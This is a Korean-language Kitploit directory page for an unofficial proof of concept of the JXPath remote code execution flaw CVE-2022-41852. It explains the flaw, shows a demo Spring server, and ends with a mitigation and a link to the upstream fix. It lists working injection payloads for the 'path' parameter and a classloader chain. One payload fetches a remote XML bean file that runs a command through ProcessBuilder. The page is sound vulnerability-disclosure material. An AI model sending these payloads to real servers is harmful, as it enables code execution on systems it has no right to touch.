Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-41852 — CVE-2022-41852 개념 증명 (비공식) | Kitploit
도구/GitHubGitHub/warxim/cve-2022-41852
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubwarxim/cve-2022-41852

CVE-2022-41852

CVE-2022-41852 개념 증명 (비공식)

저장소 보기
74153년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

JXPath 라이브러리의 원격 코드 실행 (CVE-2022-41852) 개념 증명

CVE-2022-41852는 공격자가 애플리케이션 서버에서 코드를 실행할 수 있게 합니다.

이 취약점에 대해 더 자세히 알아보려면 다음을 참조하세요:

  • https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

참고: 저는 이 CVE의 작성자가 아닙니다. 단지 이 개념 증명을 만들었을 뿐입니다.

유용한 링크

  • JXPath GitHub
  • JXPath 웹사이트
  • MITRE CVE-2022-41852
  • NIST CVE-2022-41852

취약점 설명

JXPath 라이브러리는 XPath 표현식에서 함수를 실행하는 기능을 지원합니다. (공식 사용자 가이드 참조).

예를 들어, 사용자가 path 매개변수에 입력을 보낼 수 있다면 JXPathContext.getValue(path) 및 JXPathContext.iterate(path) 메서드는 위험합니다.

PoC 설명

이 PoC는 두 개의 엔드포인트를 가진 간단한 Spring 서버를 시작합니다:

  • /vulnerable-example?path=[path]
  • /secure-example?path=[path]

이 엔드포인트에는 "path"라는 쿼리 매개변수 하나만 있습니다.

가능한 요청 URL

다음 요청은 정상적으로 작동합니다 (문제를 일으키지 않습니다):

  • http://localhost:8080/secure-example?path=name
  • http://localhost:8080/secure-example?path=website
  • http://localhost:8080/secure-example?path=/
  • http://localhost:8080/vulnerable-example?path=name
  • http://localhost:8080/vulnerable-example?path=website
  • http://localhost:8080/vulnerable-example?path=/

다음 요청은 코드가 실행되게 합니다:

  • http://localhost:8080/vulnerable-example?path=java.lang.System.exit(42)
  • http://localhost:8080/vulnerable-example?path=java.lang.Thread.sleep(10000)

예시 페이로드

CVE-2022-41852를 탐지하기 위한 예시 페이로드:

  • java.lang.System.exit(42)
  • java.lang.Thread.sleep(10000)
  • /|java.lang.System.exit(42)
  • |java.lang.System.exit(42)

명령을 실행하는 다양한 방법이 있을 수 있습니다. 그중 하나는 Spring의 ClassPathXmlApplicationContext를 사용하는 것입니다:

  • org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")

XML 파일에서 빈 구성을 정의할 수 있습니다. 예를 들어, ProcessBuilder의 인스턴스를 생성하고 start() 메서드로 빈을 초기화하여 서버에서 지정된 명령을 실행할 수 있습니다. 다음 예에서는 Windows 머신에서 계산기가 열립니다:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

컨텍스트 빈을 탐색하여 새 클래스를 로드하는 방법도 있습니다. 예를 들어, 다음 코드는 com.warxim.dangerous.DangerousClass 클래스를 로드하고 해당 인스턴스를 생성한 다음 run("warxim") 메서드를 호출합니다:

root@kitploit:~
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);

객체를 포함하는 객체를 첫 번째 매개변수로 넣어 객체 메서드를 호출해야 한다는 점에 유의하세요.

CVE-2022-41852에 대한 해결 방법

JXPathContext의 functions 필드를 빈 FunctionLibrary로 설정하여 함수를 비활성화할 수 있습니다.

root@kitploit:~
// Create path context for person object
var pathContext = JXPathContext.newContext(person);

// Set empty function library
pathContext.setFunctions(new FunctionLibrary());

// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);

참고: 모든 함수가 비활성화되므로 size()와 같은 함수도 사용할 수 없게 됩니다.

수정

수정 사항이 개발 중입니다. https://github.com/apache/commons-jxpath/pull/26 을 참조하세요.

도구 다운로드